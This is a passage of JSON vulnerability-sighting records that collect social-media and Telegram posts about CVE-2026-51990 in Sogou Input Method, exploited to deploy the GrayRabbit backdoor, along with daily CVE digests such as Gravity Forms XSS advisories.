downloader dropped a malicious DLL and encrypted GRAYRABBIT, providing remote shell access, file transfer and module loading. Tencent fixed CVE-2026-51990, but Sogou still ships Chromium 80. The outdated browser remains a concern. #threatintel", "creation_timestamp": "2026-09-11T09:18:54.461848Z"}, {"uuid": "99ea2fce-f53f-4f1b-8901-fe7d3b250665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/malwhere.bsky.social/post/3mvaaddzh5c2w", "content": "Gen traced the payload to Alibaba Cloud in Hong Kong. A downloader dropped a malicious DLL and encrypted GRAYRABBIT, providing remote shell access, file transfer and module loading. Tencent fixed CVE-2026-51990, but Sogou still ships Chromium 80. The outdated browser remains a concern. #threatintel", "creation_timestamp": "2026-09-11T09:18:55.365058Z"}, {"uuid": "42431f03-1a44-44c9-b817-8b7ea8bed778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/malwhere.bsky.social/post/3mvaaddzh5d2w", "content": "Gen traced the payload to Alibaba Cloud in Hong Kong. A downloader dropped a malicious DLL and encrypted GRAYRABBIT, providing remote shell access, file transfer and module loading. Tencent fixed CVE-2026-51990, but Sogou still ships Chromium 80. The outdated browser remains a concern. #threatintel", "creation_timestamp": "2026-09-11T09:18:56.474579Z"}, {"uuid": "3911f07d-0777-4eb6-bd12-d4cce8d7e78f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://infosec.exchange/users/VirusBulletin/statuses/117251911529981002", "content": "Gen Threat Labs discovered a critical remote code execution vulnerability (CVE-2026-51990) in Sogou Input Method. The vulnerability is actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link. https://www.gendigital.com/blog/insights/research/one-click-backdoor-sogou", "creation_timestamp": "2026-09-11T10:23:07.108761Z"}, {"uuid": "4eac7ceb-b2e9-440f-b6b1-61a48aa8e1d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/virusbtn.bsky.social/post/3mvadwdob2k2h", "content": "Gen Threat Labs discovered a critical remote code execution vulnerability (CVE-2026-51990) in Sogou Input Method. The vulnerability is actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link. www.gendigital.com/blog/insight...", "creation_timestamp": "2026-09-11T10:23:22.808860Z"}, {"uuid": "e7447e0b-8407-46f3-b9f0-67cf211e244d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mvagi4duei2g", "content": "\ud83e\udd16 China-linked UNC3569 exploited a Sogou Input Method flaw (CVE-2026-51990) to drop the GRAYRABBIT backdoor. Crafted link \u2192 unpatched Chromium 80, sandbox off. Tencent patched it (v16.3.0.3498). Gen Digital.\nhttps://thehackernews.com/2026/09/china-linked-unc3569-exploited-sogou.html", "creation_timestamp": "2026-09-11T11:08:54.847563Z"}, {"uuid": "2a6e846a-9a6b-4ec0-a220-3c5d2881a635", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/securitycyebruk.bsky.social/post/3mvatu2ig6a2l", "content": "China-linked group UNC3569 abused a flaw in Sogou Input Method (CVE-2026-51990) to chain into a Chrome bug and drop the GRAYRABBIT backdoor. Update to Sogou v16.3.0.3498+. https://thehackernews.com/2026/09/china-linked-unc3569-exploited-sogou.html", "creation_timestamp": "2026-09-11T15:08:14.068006Z"}, {"uuid": "79d9ec11-1031-4ad9-bd4d-7ef1f82a8720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-11)", "content": "", "creation_timestamp": "2026-09-12T10:00:04.869131Z"}, {"uuid": "e45059f5-83ab-415a-89a3-870e77a2c4c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5127", "type": "seen", "source": "https://t.me/shimiscyberworld/1317", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-08\n\n\ud83d\udcca 65 vulnerabilities detected today \u2014 16 \ud83d\udd34 Critical, 49 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42826 (10) \u2014 Azure DevOps Critical Info Disclosure: CVE-2026-42826\n  \u2022 CVE-2026-41070 (10) \u2014 CVE-2026-41070: openvpn-auth-oauth2 Critical Bypass in\u2026\n  \u2022 CVE-2026-33109 (9.9) \u2014 CVE-2026-33109: Critical RCE in Azure Managed Instance for\u2026\n  \u2022 CVE-2026-41512 (9.9) \u2014 ai-scanner RCE: Critical JavaScript Injection in\u2026\n  \u2022 CVE-2026-41500 (9.8) \u2014 electerm CVE-2026-41500: Critical Command Injection in\u2026\n  \u2022 CVE-2026-41501 (9.8) \u2014 Electerm Critical Command Injection Flaw Patched\u2026\n  \u2022 CVE-2026-8153 (9.8) \u2014 Universal Robots PolyScope Critical OS Command Injection\u2026\n  \u2022 CVE-2026-41497 (9.8) \u2014 CVE-2026-41497: PraisonAI Multi-Agent System Critical RCE\n  \u2026 and 8 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2026-32207 (8.8) \u2014 Azure Machine Learning XSS Exposes Data, Allows Spoofing\n  \u2022 CVE-2026-41900 (8.8) \u2014 CVE-2026-41900: OpenLearnX RCE Allows Sandbox Escape and\u2026\n  \u2022 CVE-2026-8137 (8.8) \u2014 Totolink X5000R Buffer Overflow (CVE-2026-8137) Exposed\n  \u2022 CVE-2026-8138 (8.8) \u2014 Tenda CX12L Stack Buffer Overflow (CVE-2026-8138) Risks\u2026\n  \u2022 CVE-2026-5127 (8.8) \u2014 WordPress Plugin Vulnerability: CVE-2026-5127 Allows Code\u2026\n  \u2022 CVE-2026-42275 (8.7) \u2014 zrok WebDAV Vulnerability (CVE-2026-42275) Allows Remote\u2026\n  \u2022 CVE-2026-41524 (8.7) \u2014 Brave CMS XSS Vulnerability: Editor Role Leads to\u2026\n  \u2022 CVE-2026-42047 (8.6) \u2014 CVE-2026-42047: Inngest Exposes Environment Variables via\u2026\n  \u2022 CVE-2026-35435 (8.6) \u2014 Azure AI Foundry M365 Flaw Allows Network Privilege\u2026\n  \u2022 CVE-2026-44339 (8.6) \u2014 PraisonAI Vulnerability Allows Undeclared Tool Invocation\u2026\n  \u2026 and 39 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:11.896170Z"}, {"uuid": "514cabd8-4867-41b8-aa55-91805fd3e717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5111", "type": "seen", "source": "https://t.me/shimiscyberworld/1121", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-5111 \u2014 CVSS 7.2\nCVE-2026-5111: Gravity Forms Plugin Hit by Stored XSS\n\nCVE-2026-5111 \u2014 The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient input validation and output escaping on Hidden\u2026\n\n\ud83d\udfe1 Medium\n\n#cve  #high_severity  #cross_site_scripting_xss\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-5111 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:20.005761Z"}, {"uuid": "541421e5-1c48-4100-9357-cb49fd2f92ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5112", "type": "seen", "source": "https://t.me/shimiscyberworld/1122", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-5112 \u2014 CVSS 7.2\nGravity Forms Plugin: Unauthenticated Stored XSS Puts WordPress Admins at Risk\n\nCVE-2026-5112 \u2014 The Gravity Forms plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient input validation and output\u2026\n\n\ud83d\udfe1 Medium\n\n#cve  #high_severity  #cross_site_scripting_xss\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-5112 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:20.040723Z"}, {"uuid": "e641dc2b-9aa5-414a-aa13-14ec9b793f37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5113", "type": "seen", "source": "https://t.me/shimiscyberworld/1123", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-5113 \u2014 CVSS 7.2\nCVE-2026-5113: Gravity Forms XSS via Flawed Consent Field Validation\n\nCVE-2026-5113 \u2014 The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Consent field hidden inputs in versions up to and including 2.10.0. This is due to a flawed state validation\u2026\n\n\ud83d\udfe1 Medium\n\n#cve  #high_severity  #cross_site_scripting_xss\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-5113 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:20.084749Z"}, {"uuid": "e1135266-2216-426c-90e0-3396d64c8049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5109", "type": "seen", "source": "https://t.me/shimiscyberworld/1119", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-5109 \u2014 CVSS 7.2\nGravity Forms Plugin Stored XSS: Unauthenticated Attackers Inject Scripts\n\nCVE-2026-5109 \u2014 The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient validation and output escaping of Product Option\u2026\n\n\ud83d\udfe1 Medium\n\n#cve  #high_severity  #cross_site_scripting_xss\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-5109 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:20.198823Z"}, {"uuid": "b46cdc6e-6dd8-4fda-a462-258acddef94d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5110", "type": "seen", "source": "https://t.me/shimiscyberworld/1120", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-5110 \u2014 CVSS 7.2\nGravity Forms Plugin: Unauthenticated Stored XSS in WordPress\n\nCVE-2026-5110 \u2014 The Gravity Forms plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient input validation and output\u2026\n\n\ud83d\udfe1 Medium\n\n#cve  #high_severity  #cross_site_scripting_xss\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-5110 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:20.225792Z"}, {"uuid": "3390a08a-4d05-4c6a-9c21-8001134ce606", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-12)", "content": "", "creation_timestamp": "2026-09-13T10:00:04.284522Z"}, {"uuid": "c6750375-6b87-4357-9a4b-8eea5a1dba38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mvfsio5yik2g", "content": "Threat actors linked to a China-aligned espionage group are exploiting a critical vulnerability (CVE-2026-51990) in Tencent's Sogou Input Method for Windows to deploy the GrayRabbit backdoor.", "creation_timestamp": "2026-09-13T14:27:19.106771Z"}, {"uuid": "cec3fcf6-66f8-4f39-8e24-ac84f0c241ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mvft6tbeud2v", "content": "\u30cf\u30c3\u30ab\u30fc\u304cTencent\u30a2\u30d7\u30ea\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3001GrayRabbit\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u5c55\u958b\n\n\u4e2d\u56fd\u3068\u95a2\u4fc2\u304c\u6df1\u3044\u30b9\u30d1\u30a4\u6d3b\u52d5\u30b0\u30eb\u30fc\u30d7\u306b\u95a2\u9023\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u3001Tencent\u306e\u300c\u635c\u72d7\u8f93\u5165\u6cd5\uff08Sogou Input Method\uff09\u300dWindows\u7248\u306b\u5b58\u5728\u3059\u308b\u6df1\u523b\u306a\u8106\u5f31\u6027(CVE-2026-51990)\u3092\u60aa\u7528\u3057\u3001\u30d0\u30c3\u30af\u30c9\u30a2\u300cGrayRabbit\u300d\u3092\u5c55\u958b\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u5206\u304b\u308a\u307e\u3057\u305f\u3002 \u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4f01\u696dGen Dig", "creation_timestamp": "2026-09-13T14:39:40.966066Z"}, {"uuid": "0bc0d0bb-e25f-4422-b140-4ae2e3c3f421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mvfubgyoa22t", "content": "\ud83e\udd16 CVE-2026-51990 (critical): one-click RCE in Tencent's Sogou Input Method, exploited by UNC3569 to deploy GrayRabbit backdoor. Unsandboxed Chromium chain, fixed in v16.3.0.3498.\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-tencent-app-flaw-to-deploy-grayrabbit-malware/", "creation_timestamp": "2026-09-13T14:59:02.386070Z"}, {"uuid": "8a938e66-a4b4-4ea9-a19d-afbfc7af2f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/thecircuitry.to/post/3mvfulvwlzq2j", "content": "CVE-2026-51990 in Tencent's Sogou Input Method for Windows is being exploited by China-aligned actors to deploy the GrayRabbit backdoor.", "creation_timestamp": "2026-09-13T15:04:53.833999Z"}, {"uuid": "6424fec7-d8f3-4693-9018-a622cff7f149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mvfxzbkbhw2b", "content": "Tencent\u306eSogou Input Method for Windows\u306b\u8106\u5f31\u6027\uff08CVE-2026-51990\uff09\u304c\u3042\u308a\u3001\u4e2d\u56fd\u7cfb\u653b\u6483\u8005\u306b\u3088\u308aGrayRabbit\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u5c55\u958b\u3055\u308c\u3066\u3044\u308b\u3002", "creation_timestamp": "2026-09-13T16:06:04.234300Z"}, {"uuid": "32677624-4d66-4299-931d-0326310bc8ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/securitycyebruk.bsky.social/post/3mvfyigrsf622", "content": "Sogou Input Method CVE-2026-51990 is being exploited to deploy the GrayRabbit backdoor on Windows \u2014 remove or isolate affected clients until vendor guidance is available. https://cti.securitycyber.uk", "creation_timestamp": "2026-09-13T16:14:31.798754Z"}, {"uuid": "89a74a94-2d80-4136-92ea-df83fa358bbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mvg6igchpr2e", "content": "\ud83d\udd12 Hackers exploit Tencent app flaw to deploy GrayRabbit malware\n\nThreat actors linked to a China-aligned espionage group are exploiting a critical vulnerability (CVE-2026-51990) in ...\n\nhttps://tinyurl.com/242jfs9u #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-09-13T18:01:53.530150Z"}, {"uuid": "c66cb88d-e46f-4678-b71d-76e36f8ea15b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://www.bleepingcomputer.com/news/security/hackers-exploit-tencent-app-flaw-to-deploy-grayrabbit-malware/", "content": "Threat actors linked to a China-aligned espionage group are exploiting a critical vulnerability (CVE-2026-51990) in Tencent's Sogou Input Method for Windows to deploy the GrayRabbit backdoor. [...]", "creation_timestamp": "2026-09-13T19:00:41.904613Z"}, {"uuid": "948eb280-5dbd-40ba-a86b-746ac49e364f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mvgpndnyuu26", "content": "\ud83e\udd16 China-aligned UNC3569 exploiting CVE-2026-51990, a critical one-click RCE in Tencent's Sogou Input Method for Windows, deploying the GrayRabbit backdoor.\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-tencent-app-flaw-to-deploy-grayrabbit-malware/", "creation_timestamp": "2026-09-13T23:08:52.185883Z"}, {"uuid": "84c411c6-f60c-4c80-9c1d-a4dd2c3c9d70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mvgsniv5fs2z", "content": "Defend against the CVE-2026-51990 Sogou exploit. Discover how hackers use this one-click flaw to drop backdoors and how to secure your systems today.\n\n#CVE202651990 #SogouInputMethod #CyberSecurity #UNC3569 #InfoSec #EndpointSecurity #ThreatIntel", "creation_timestamp": "2026-09-14T00:02:38.960432Z"}, {"uuid": "b38d98f7-89be-4925-b007-c8e8db6b5714", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "Telegram/DdYTYSDe8lvqixn7SsuHC2cVYP8OwvHWnrdarY89A6zETG4", "content": "", "creation_timestamp": "2026-09-14T03:00:15.370885Z"}, {"uuid": "46169bb2-ac8c-447a-b9ba-186f85920b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mvhabw3evq2i", "content": "\ud83d\udea8 BREAKING: Dropbox breached via Lenovo SSO \u2014 5,000 accounts accessed w/o passwords. Microsoft 1M-email AI CEO fraud + passkey phishing. UNC3569 exploiting Tencent Sogou Input (CVE-2026-51990) \u2192 GrayRabbit. FortiGate CVE-2025-25249 (PivotC2 RAT). PAN-OS CVE-2026-0310 (CVSS 9.2). #CyberSecurity", "creation_timestamp": "2026-09-14T04:06:42.379690Z"}, {"uuid": "10962387-8b74-4227-a02d-c183467828aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mvhabwj2xn2k", "content": "\ud83d\udea8 BREAKING: Dropbox breached via Lenovo SSO \u2014 5,000 accounts accessed w/o passwords. Microsoft 1M-email BO CEO fraud + passkey phishing. UNC3569 exploiting Tencent Sogou Input (CVE-2026-51990) \u2192 GrayRabbit. FortiGate CVE-2025-25249 (PivotC2 RAT). PAN-OS CVE-2026-0310 (CVSS 9.2). #PotatoSecurity", "creation_timestamp": "2026-09-14T04:06:43.006856Z"}, {"uuid": "689684bb-fcf5-48ba-9cd1-facb36cc3511", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mvhacnfvtx2e", "content": "\ud83d\udea8 BREAKING: Dropbox breached via Lenovo SSO \u2014 5,000 accounts accessed w/o passwords. Microsoft 1M-email AI CEO fraud + passkey phishing. UNC3569 exploiting Tencent Sogou Input (CVE-2026-51990) \u2192 GrayRabbit. FortiGate CVE-2025-25249 (PivotC2 RAT). PAN-OS CVE-2026-0310 (CVSS 9.2). #CyberSecurity", "creation_timestamp": "2026-09-14T04:07:06.877402Z"}, {"uuid": "98349b1e-c4bc-40bc-b049-8d0ebb225c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mvhaflnz2v2l", "content": "\ud83d\udea8 BREAKING: Dropbox breached via Lenovo SSO \u2014 5,000 accounts accessed w/o passwords. Microsoft 1M-email AI CEO fraud + passkey phishing. UNC3569 exploiting Tencent Sogou Input (CVE-2026-51990) \u2192 GrayRabbit. FortiGate CVE-2025-25249 (PivotC2 RAT). PAN-OS CVE-2026-0310 (CVSS 9.2). #CyberSecurity", "creation_timestamp": "2026-09-14T04:08:46.124799Z"}, {"uuid": "20be35c7-7ea1-46da-a6da-57dfb9d236e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mvhagjon4q2j", "content": "2/ PHISHING & MALWARE: Microsoft details AI-assisted CEO fraud (1M+ emails, Aug 3-5) + passkey-themed attacks hijacking cloud accounts. UNC3569 exploits Tencent Sogou Input Method (CVE-2026-51990) \u2014 one-click RCE \u2014 to deploy GrayRabbit backdoor. Src: TheHackerNews, BleepingComputer", "creation_timestamp": "2026-09-14T04:09:17.164440Z"}, {"uuid": "9155bc54-f7a9-4a87-9105-799f05d3a5b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mvhhznyusb2q", "content": "CVE-2026-51990 is trending. Hype score 5, currently #5 on cvemon.\n\nCurrently trending CVE - Hype Score: 5\n\nhttps://cvemon.intruder.io/cves/CVE-2026-51990", "creation_timestamp": "2026-09-14T06:25:16.244461Z"}, {"uuid": "ddda9b84-2b22-44f2-a543-332943273d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mvhjwehwaz2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-85046: 26 interactions\nCVE-2026-85880: 22 interactions\nCVE-2026-20079: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-51990: 7 interactions\nCVE-2026-90561: 4 interactions\nCVE-2025-59287: 3 interactions\n", "creation_timestamp": "2026-09-14T06:59:12.737425Z"}, {"uuid": "074307c2-4ae2-4e84-b762-d526e846a002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "exploited", "source": "https://t.me/HackerNewscyber/3457", "content": "\u2708 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Sogou \u0628\u0631\u0627\u06cc \u0627\u0646\u062a\u0634\u0627\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 GrayRabbit\n\n\u00a9\ufe0f \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u0646\u062a\u0633\u0628 \u0628\u0647 \u06af\u0631\u0648\u0647 \u0647\u0645\u0633\u0648 \u0628\u0627 \u0686\u06cc\u0646 UNC3569 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-51990 \u062f\u0631 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 Sogou Input Method \u0634\u0631\u06a9\u062a Tencent \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647 \u0648 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 GrayRabbit 